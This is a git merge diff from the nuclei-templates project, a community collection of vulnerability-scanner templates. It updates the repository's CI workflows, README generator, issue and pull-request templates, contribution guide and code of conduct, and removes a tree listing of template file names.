Merge pull request #2355 from G4L1T0/corsmisc

add cors-misconfig.yaml

.github/ISSUE_TEMPLATE/false-positive.md

@@ -1,8 +1,8 @@
 ---
 name: False Positive
 about: 'Create an issue if you found false positive results. '
-title: "[false-positive] "
-labels: ''
+title: "[false-positive] template-name "
+labels: 'false-positive'
 assignees: ''
 
 ---

.github/ISSUE_TEMPLATE/submit-template.md

@@ -1,14 +1,15 @@
 ---
 name: Submit Template
 about: Submit nuclei template using issue
-title: "[nuclei-template] "
-labels: ''
+title: "[nuclei-template] template-name"
+labels: 'nuclei-template'
 assignees: ''
 
 ---
 
 **Template Details**
 
-```
+```yaml
+
 nuclei template goes here
 ```

.github/scripts/README.tmpl

@@ -1,49 +1,79 @@
 f"""
-# Nuclei Templates
 
-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
-
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
-
-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
-
-### Nuclei templates `{version}` overview
-
-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | {countTpl("cves")} | files | {countTpl("files")} |
-| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
-| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
-| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
-| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
-| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
-| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
-| wordlists | {countTpl("wordlists")} |
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
 
 
-### Nuclei templates `{version}` tree overview
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
 
-<details>
-<summary> Nuclei templates </summary>
+----
 
-```
-{command("tree", 1, -2)}
-```
+Templates are the core of the [nuclei scanner](https://github.com/projectdiscovery/nuclei) which powers the actual scanning engine.
+This repository stores and houses various templates for the scanner provided by our team, as well as contributed by the community.
+We hope that you also contribute by sending templates via **pull requests** or [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) to grow the list.
 
-</details>
+
+## Nuclei Templates overview
+
+
+An overview of the nuclei template project, including statistics on unique tags, author, directory, severity, and type of templates. The table below contains the top ten statistics for each matrix; an expanded version of this is [available here](TEMPLATES-STATS.md), and also available in [JSON](TEMPLATES-STATS.json) format for integration.
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
 
 **{command("tree", -2, None)}**.
 
-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+</td>
+</tr>
+</table>
 
-------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+📖 Documentation
+-----
 
-Thanks again for your contribution and keeping the community vibrant. :heart:
-"""
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new or your own **custom** templates.
+We have also added a set of templates to help you understand how things work.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community.
+[Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss?
+Feel free to open a discussion on [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
+You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+
+Thanks again for your contribution and keeping this community vibrant. :heart:
+"""

.github/scripts/update-readme.py

@@ -1,13 +1,18 @@
 #!/usr/bin/env python3
-import os
+import glob
 import subprocess
 
 def countTpl(path):
-	return len(os.listdir(path))
+	return len(glob.glob(path + "/*.*"))
 
 def command(args, start=None, end=None):
 	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
 
+def get_top10():
+	HEADER = "## Nuclei Templates Top 10 statistics\n\n"
+	TOP10 = command(["cat", "TOP-10.md"])
+	return HEADER + TOP10 if len(TOP10) > 0 else ""
+
 if __name__ == "__main__":
 	version = command(["git", "describe", "--tags", "--abbrev=0"])
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

.github/workflows/syntax-checking.yml

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint
 
 on: [push, pull_request]
 

.github/workflows/template-validate.yml

@@ -0,0 +1,35 @@
+name: 🛠 Template Validate
+
+on: [push, pull_request]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout Repo
+        uses: actions/checkout@master
+
+      - name: Setup golang
+        uses: actions/setup-go@v2
+        with:
+          go-version: 1.14
+
+#      - name: Cache Go
+#        id: cache-go
+#        uses: actions/cache@v2
+#        with:
+#          path: /home/runner/go
+#          key: ${{ runner.os }}-go
+
+      - name: Installing Nuclei
+#        if: steps.cache-go.outputs.cache-hit != 'true'
+        env:
+          GO111MODULE: on
+        run: |
+          go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
+        shell: bash
+
+      - name: Template Validation
+        run: |
+          nuclei -validate -t . -exclude .pre-commit-config.yaml
+        shell: bash

.github/workflows/templates-stats.yml

@@ -0,0 +1,63 @@
+name: 🗒 Templates Stats
+
+on:
+  create:
+    tags:
+      - v*
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
+    steps:
+      - name: Checkout Repo
+        uses: actions/checkout@master
+        with:
+          fetch-depth: 0
+
+      - name: Setup golang
+        uses: actions/setup-go@v2
+        with:
+          go-version: 1.14
+
+      - name: Installing Template Stats
+        env:
+          GO111MODULE: on
+        run: |
+          go get -v github.com/projectdiscovery/templates-stats@main
+        shell: bash
+
+      - name: Markdown Stats
+        run: |
+          templates-stats -output TEMPLATES-STATS.md -path /home/runner/work/nuclei-templates/nuclei-templates/
+        shell: bash
+
+      - name: JSON Stats
+        run: |
+          templates-stats -output TEMPLATES-STATS.json -json -path /home/runner/work/nuclei-templates/nuclei-templates/
+        shell: bash
+
+      - name: Top 10 Stats
+        run: |
+          templates-stats -output TOP-10.md -top 10 -path /home/runner/work/nuclei-templates/nuclei-templates/
+        shell: bash
+
+      - name: Get statistical changes
+        id: stats
+        run: echo "::set-output name=changes::$(git status -s | wc -l)"
+
+      - name: Commit files
+        if: steps.stats.outputs.changes > 0
+        run: |
+          git add TEMPLATES-STATS.*
+          git add TOP-10.md
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Stats [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.github/workflows/update-readme.yml

@@ -1,16 +1,15 @@
-name: "Auto Update README"
+name: 📝 Readme Update
 
 on:
-  push:
-    branches:
-      - master
   create:
     tags:
       - v*
+  workflow_dispatch:
 
 jobs:
   build:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
     steps:
       - name: Install tree
         run: sudo apt-get install tree -y
@@ -27,16 +26,20 @@ jobs:
           python-version: "3.8"
 
       - name: Update README
+        id: update-readme
         run: |
           python .github/scripts/update-readme.py
+          echo "::set-output name=changes::$(git status -s | wc -l)"
 
       - name: Commit files
+        if: steps.update-readme.outputs.changes > 0
         run: |
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
           git commit -m "Auto Update README [$(date)] :robot:" -a
 
       - name: Push changes
+        if: steps.update-readme.outputs.changes > 0
         uses: ad-m/github-push-action@master
         with:
           github_token: ${{ secrets.GITHUB_TOKEN }}

.gitignore

@@ -1,2 +1,4 @@
 .DS_Store
 local/
+.checksum
+.new-additions

.nuclei-ignore

@@ -1,8 +1,16 @@
-.pre-commit-config.yaml
-cves/CVE-2017-7529.yaml
-cves/CVE-2020-13379.yaml
-cves/CVE-2013-2251.yaml
-vulnerabilities/x-forwarded-host-injection.yaml
-fuzzing/
-wordlists/
-misc/
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This is default list of tags and files to excluded from default nuclei scan.
+# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion
+
+# tags is a list of tags to ignore execution for
+# unless asked for by the user.
+
+tags: 
+  - "fuzz"
+  - "dos"
+  - "misc"
+
+# files is a list of files to ignore template execution
+# unless asked for by the user.

.yamllint

@@ -1,9 +1,17 @@
 ---
 extends: default
 
+ignore: |
+  .pre-commit-config.yaml
+  .github/workflows/*.yml
+
 rules:
   document-start: disable
   line-length: disable
   new-lines: disable
   new-line-at-end-of-file: disable
   truthy: disable
+  comments:
+    require-starting-space: true
+    ignore-shebangs: true
+    min-spaces-from-content: 1

CODE_OF_CONDUCT.md

@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq

CONTRIBUTING.md

@@ -0,0 +1,100 @@
+# Template Contribution Guidelines
+
+This documentation contains a set of guidelines to help you during the contribution process. 
+We are happy to welcome all the contributions from anyone willing to **improve/add** new **templates** to this project. 
+Thank you for helping out and remember, **no contribution is too small.**
+
+# Submitting Nuclei Templates 👩‍💻👨‍💻
+
+Below you will find the process and workflow used to review and merge your changes.
+
+## Step 1 : Find existing templates
+
+- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) before creating new one.
+- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
+- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+
+## Step 2 : Fork the Project
+
+- Fork this Repository. This will create a Local Copy of this Repository on your Github Profile. Keep a reference to the original project in `upstream` remote.
+
+<img width="928" alt="template-fork" src="https://user-images.githubusercontent.com/8293321/124467966-2afde200-ddb6-11eb-835f-8f8fc2fabedb.png">
+
+```sh
+git clone https://github.com/<your-username>/nuclei-templates
+cd nuclei-templates
+git remote add upstream https://github.com/projectdiscovery/nuclei-templates
+```
+
+- If you have already forked the project, update your copy before working.
+
+```sh
+git remote update
+git checkout master
+git rebase upstream/master
+```
+
+## Step 3 : Create your Template Branch
+
+Create a new branch. Use its name to identify the issue your addressing.
+
+```sh
+# It will create a new branch with name template_branch_name and switch to that branch
+git checkout -b template_branch_name
+```
+
+## Step 4 : Create Template and Commit
+- Create your template.
+- Add all the files/folders needed.
+- After you've made changes or completed template creation, add changes to the branch you've just created by:
+
+```sh
+# To add all new files to branch template_branch_name
+git add .
+```
+
+- To commit give a descriptive message for the convenience of reveiwer by:
+
+```sh
+# This message get associated with all files you have changed
+git commit -m "Added/Fixed/Updated XXX Template"
+```
+
+**NOTE**: 
+
+- A Pull Request should have only one unique template to make it simple for review.
+- Multiple templates for same technology can be grouped into single Pull Request. 
+
+
+## Step 5 : Push Your Changes
+
+- Now you are ready to push your template to the remote (forked) repository.
+- When your work is ready and complies with the project conventions, upload your changes to your fork:
+
+```sh
+# To push your work to your remote repository
+git push -u origin template_branch_name
+```
+
+## Step 6 : Pull Request
+
+- Fire up your favorite browser, navigate to your GitHub repository, then click on the New pull request button within the Pull requests tab. Provide a meaningful name and description to your pull request, that describes the purpose of the template.
+- Voila! Your Pull Request has been submitted. It will be reviewed and merged by the moderators, if it complies with project standards, otherwise a feedback will be provided.🥳
+
+## Need more help?🤔
+
+You can refer to the following articles of Git and GitHub basics. In case you are stuck, feel free to contact the Project Mentors and Community by joining [PD Community](https://discord.gg/projectdiscovery) Discord server.
+
+- [Forking a Repo](https://help.github.com/en/github/getting-started-with-github/fork-a-repo)
+- [Cloning a Repo](https://help.github.com/en/desktop/contributing-to-projects/creating-an-issue-or-pull-request)
+- [How to create a Pull Request](https://opensource.com/article/19/7/create-pull-request-github)
+- [Getting started with Git and GitHub](https://towardsdatascience.com/getting-started-with-git-and-github-6fcd0f2d4ac6)
+- [Learn GitHub from Scratch](https://lab.github.com/githubtraining/introduction-to-github)
+
+
+## Tip from us😇
+
+- **Nuclei** outcomes are only as excellent as **template matchers💡**
+- Declare at least two matchers to reduce false positive
+- Avoid matching words reflected in the URL to reduce false positive
+- Avoid short word that could be encountered anywhere

LICENSE.md

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,28 @@
+### Template / PR Information
+
+<!-- Explains the information and/or motivation for update or/ creating this templates -->
+<!-- Please include any reference to your template if available -->
+
+- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
+- References:
+
+### Template Validation
+
+I've validated this template locally?
+- [ ] YES
+- [ ] NO
+
+
+#### Additional Details (leave it blank if not applicable)
+
+<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
+<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Please do NOT include vulnerable host information in pull requests -->
+<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
+
+### Additional References:
+
+- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
+- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
+- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/.github/CONTRIBUTING.md)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)

README.md

@@ -1,446 +1,91 @@
 
-# Nuclei Templates
-
-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
-
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
-
-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
-
-### Nuclei templates `v7.2.8` overview
-
-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | 138 | files | 41 |
-| vulnerabilities | 39 | panels | 40 |
-| technologies | 40 | security-misconfiguration | 24 |
-| workflows | 16 | tokens | 8 |
-| dns | 6 | fuzzing | 6 |
-| generic-detections | 3 | default-credentials | 3 |
-| subdomain-takeover | 2 | payloads | 2 |
-| wordlists | 1 |
-
 
-### Nuclei templates `v7.2.8` tree overview
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find security vulnerabilities in applications.</h4>
 
-<details>
-<summary> Nuclei templates </summary>
 
-```
-├── LICENSE.md
-├── README.md
-├── cves
-│   ├── CVE-2005-2428.yaml
-│   ├── CVE-2013-2251.yaml
-│   ├── CVE-2014-6271.yaml
-│   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-11444.yaml
-│   ├── CVE-2017-12637.yaml
-│   ├── CVE-2017-14537.yaml
-│   ├── CVE-2017-14849.yaml
-│   ├── CVE-2017-5638.yaml
-│   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7615.yaml
-│   ├── CVE-2017-9506.yaml
-│   ├── CVE-2017-9841.yaml
-│   ├── CVE-2018-0296.yaml
-│   ├── CVE-2018-1000129.yaml
-│   ├── CVE-2018-11409.yaml
-│   ├── CVE-2018-11759.yaml
-│   ├── CVE-2018-1247.yaml
-│   ├── CVE-2018-1271.yaml
-│   ├── CVE-2018-1273.yaml
-│   ├── CVE-2018-13379.yaml
-│   ├── CVE-2018-13380.yaml
-│   ├── CVE-2018-14728.yaml
-│   ├── CVE-2018-16341.yaml
-│   ├── CVE-2018-16763.yaml
-│   ├── CVE-2018-17431.yaml
-│   ├── CVE-2018-18069.yaml
-│   ├── CVE-2018-19386.yaml
-│   ├── CVE-2018-19439.yaml
-│   ├── CVE-2018-20824.yaml
-│   ├── CVE-2018-2791.yaml
-│   ├── CVE-2018-3714.yaml
-│   ├── CVE-2018-3760.yaml
-│   ├── CVE-2018-5230.yaml
-│   ├── CVE-2018-7490.yaml
-│   ├── CVE-2019-1010287.yaml
-│   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
-│   ├── CVE-2019-11248.yaml
-│   ├── CVE-2019-11510.yaml
-│   ├── CVE-2019-11580.yaml
-│   ├── CVE-2019-12314.yaml
-│   ├── CVE-2019-12461.yaml
-│   ├── CVE-2019-12593.yaml
-│   ├── CVE-2019-12725.yaml
-│   ├── CVE-2019-14322.yaml
-│   ├── CVE-2019-14696.yaml
-│   ├── CVE-2019-14974.yaml
-│   ├── CVE-2019-15043.yaml
-│   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
-│   ├── CVE-2019-16278.yaml
-│   ├── CVE-2019-1653.yaml
-│   ├── CVE-2019-16662.yaml
-│   ├── CVE-2019-16759-1.yaml
-│   ├── CVE-2019-16759.yaml
-│   ├── CVE-2019-16920.yaml
-│   ├── CVE-2019-17382.yaml
-│   ├── CVE-2019-17558.yaml
-│   ├── CVE-2019-18394.yaml
-│   ├── CVE-2019-19368.yaml
-│   ├── CVE-2019-19781.yaml
-│   ├── CVE-2019-19908.yaml
-│   ├── CVE-2019-19985.yaml
-│   ├── CVE-2019-20141.yaml
-│   ├── CVE-2019-2588.yaml
-│   ├── CVE-2019-2725.yaml
-│   ├── CVE-2019-3396.yaml
-│   ├── CVE-2019-3402.yaml
-│   ├── CVE-2019-3799.yaml
-│   ├── CVE-2019-5418.yaml
-│   ├── CVE-2019-6112.yaml
-│   ├── CVE-2019-6340.yaml
-│   ├── CVE-2019-6715.yaml
-│   ├── CVE-2019-7256.yaml
-│   ├── CVE-2019-7609.yaml
-│   ├── CVE-2019-8442.yaml
-│   ├── CVE-2019-8449.yaml
-│   ├── CVE-2019-8451.yaml
-│   ├── CVE-2019-8903.yaml
-│   ├── CVE-2019-8982.yaml
-│   ├── CVE-2019-9670.yaml
-│   ├── CVE-2019-9733.yaml
-│   ├── CVE-2019-9978.yaml
-│   ├── CVE-2020-0618.yaml
-│   ├── CVE-2020-10199.yaml
-│   ├── CVE-2020-10204.yaml
-│   ├── CVE-2020-11034.yaml
-│   ├── CVE-2020-1147.yaml
-│   ├── CVE-2020-12116.yaml
-│   ├── CVE-2020-12720.yaml
-│   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13942.yaml
-│   ├── CVE-2020-14179.yaml
-│   ├── CVE-2020-14181.yaml
-│   ├── CVE-2020-14864.yaml
-│   ├── CVE-2020-14882.yaml
-│   ├── CVE-2020-15129.yaml
-│   ├── CVE-2020-15505.yaml
-│   ├── CVE-2020-15920.yaml
-│   ├── CVE-2020-16139.yaml
-│   ├── CVE-2020-16846.yaml
-│   ├── CVE-2020-16952.yaml
-│   ├── CVE-2020-17505.yaml
-│   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2096.yaml
-│   ├── CVE-2020-2140.yaml
-│   ├── CVE-2020-24223.yaml
-│   ├── CVE-2020-24312.yaml
-│   ├── CVE-2020-2551.yaml
-│   ├── CVE-2020-25540.yaml
-│   ├── CVE-2020-26214.yaml
-│   ├── CVE-2020-3187.yaml
-│   ├── CVE-2020-3452.yaml
-│   ├── CVE-2020-5284.yaml
-│   ├── CVE-2020-5405.yaml
-│   ├── CVE-2020-5410.yaml
-│   ├── CVE-2020-5412.yaml
-│   ├── CVE-2020-5776.yaml
-│   ├── CVE-2020-5777.yaml
-│   ├── CVE-2020-5902.yaml
-│   ├── CVE-2020-6287.yaml
-│   ├── CVE-2020-7209.yaml
-│   ├── CVE-2020-7961.yaml
-│   ├── CVE-2020-8091.yaml
-│   ├── CVE-2020-8115.yaml
-│   ├── CVE-2020-8163.yaml
-│   ├── CVE-2020-8191.yaml
-│   ├── CVE-2020-8193.yaml
-│   ├── CVE-2020-8194.yaml
-│   ├── CVE-2020-8209.yaml
-│   ├── CVE-2020-8512.yaml
-│   ├── CVE-2020-8982.yaml
-│   ├── CVE-2020-9047.yaml
-│   ├── CVE-2020-9344.yaml
-│   ├── CVE-2020-9484.yaml
-│   ├── CVE-2020-9496.yaml
-│   └── CVE-2020-9757.yaml
-├── default-credentials
-│   ├── grafana-default-credential.yaml
-│   ├── rabbitmq-default-admin.yaml
-│   └── tomcat-manager-default.yaml
-├── dns
-│   ├── azure-takeover-detection.yaml
-│   ├── cname-service-detector.yaml
-│   ├── dead-host-with-cname.yaml
-│   ├── mx-service-detector.yaml
-│   ├── servfail-refused-hosts.yaml
-│   └── spoofable-spf-records-ptr.yaml
-├── files
-│   ├── apc-info.yaml
-│   ├── cgi-test-page.yaml
-│   ├── docker-registry.yaml
-│   ├── domcfg-page.yaml
-│   ├── druid-monitor.yaml
-│   ├── drupal-install.yaml
-│   ├── ds_store.yaml
-│   ├── elasticsearch.yaml
-│   ├── elmah-log-file.yaml
-│   ├── error-logs.yaml
-│   ├── exposed-kibana.yaml
-│   ├── exposed-svn.yaml
-│   ├── filezilla.yaml
-│   ├── firebase-detect.yaml
-│   ├── git-config.yaml
-│   ├── jkstatus-manager.yaml
-│   ├── jolokia.yaml
-│   ├── laravel-env.yaml
-│   ├── lazy-file.yaml
-│   ├── magento-config.yaml
-│   ├── php-errors.yaml
-│   ├── phpinfo.yaml
-│   ├── public-tomcat-instance.yaml
-│   ├── redmine-db-config.yaml
-│   ├── server-status-localhost.yaml
-│   ├── shell-history.yaml
-│   ├── sql-dump.yaml
-│   ├── telerik-dialoghandler-detect.yaml
-│   ├── telerik-fileupload-detect.yaml
-│   ├── tomcat-scripts.yaml
-│   ├── wadl-files.yaml
-│   ├── web-config.yaml
-│   ├── wordpress-db-backup.yaml
-│   ├── wordpress-debug-log.yaml
-│   ├── wordpress-directory-listing.yaml
-│   ├── wordpress-emergency-script.yaml
-│   ├── wordpress-installer-log.yaml
-│   ├── wordpress-tmm-db-migrate.yaml
-│   ├── wordpress-user-enumeration.yaml
-│   ├── wsdl-detect.yaml
-│   └── zip-backup-files.yaml
-├── fuzzing
-│   ├── arbitrary-file-read.yaml
-│   ├── basic-auth-bruteforce.yaml
-│   ├── directory-traversal.yaml
-│   ├── generic-lfi-fuzzing.yaml
-│   ├── iis-shortname.yaml
-│   └── wp-plugin-scan.yaml
-├── generic-detections
-│   ├── basic-xss-prober.yaml
-│   ├── general-tokens.yaml
-│   └── top-15-xss.yaml
-├── misc
-│   ├── basic-cors-flash.yaml
-│   ├── dir-listing.yaml
-│   ├── htaccess-config.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
-│   ├── ntlm-directories.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
-│   ├── unencrypted-bigip-ltm-cookie.yaml
-│   ├── wp-xmlrpc.yaml
-│   └── xml-schema-detect.yaml
-├── panels
-│   ├── adminer-panel.yaml
-│   ├── aims-password-mgmt-client.yaml
-│   ├── atlassian-crowd-panel.yaml
-│   ├── cisco-asa-panel.yaml
-│   ├── citrix-adc-gateway-detect.yaml
-│   ├── compal.yaml
-│   ├── crxde.yaml
-│   ├── docker-api.yaml
-│   ├── fortinet-fortigate-panel.yaml
-│   ├── globalprotect-panel.yaml
-│   ├── go-anywhere-client.yaml
-│   ├── grafana-detect.yaml
-│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
-│   ├── jenkins-asyncpeople.yaml
-│   ├── jmx-console.yaml
-│   ├── kubernetes-pods.yaml
-│   ├── manage-engine-admanager-panel.yaml
-│   ├── mobileiron-login.yaml
-│   ├── netscaler-gateway.yaml
-│   ├── network-camera-detect.yaml
-│   ├── parallels-html-client.yaml
-│   ├── phpmyadmin-panel.yaml
-│   ├── polycom-admin-detect.yaml
-│   ├── pulse-secure-panel.yaml
-│   ├── rabbitmq-dashboard.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── sap-recon-detect.yaml
-│   ├── sonarqube-login.yaml
-│   ├── sonicwall-management-panel.yaml
-│   ├── sonicwall-sslvpn-panel.yaml
-│   ├── sophos-fw-version-detect.yaml
-│   ├── supervpn-panel.yaml
-│   ├── swagger-panel.yaml
